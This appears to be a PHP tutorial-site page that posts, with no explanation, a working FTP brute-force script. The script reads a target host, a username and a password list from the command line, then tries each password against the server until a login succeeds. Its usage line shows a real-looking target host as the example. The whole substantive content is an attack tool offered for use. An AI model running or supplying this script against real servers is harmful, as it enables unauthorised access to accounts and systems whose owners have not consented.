Home > php教程 > php手册 > FTP暴力PHP版

FTP暴力PHP版

WBOY
Release: 2016-06-13 10:33:40
Original
953 people have browsed it

$sito = $argv[1];
$username = $argv[2];
$lista = $argv[3];
 
if((isset($sito)) AND (isset($lista)) AND (isset($username))){
 
if (file_exists($lista)){
 
$lista = file($lista);
$connessione = ftp_connect($sito) or die("Impossibile stabilire una connessione a $sito");
 
foreach($lista as $passwd){
 
if(@ftp_login($connessione, $username, $passwd)){
die(" [Successo] - $passwd");
} else {
print "[Fallito] - $passwd ";
}
 
}
 
ftp_close($connessione);
} else
die("Lista per il brute force assente");
 
} else
die("Us php .php Esempi php brute.php ftp.google.it admin /root/list.txt");
?>

Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Recommendations
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template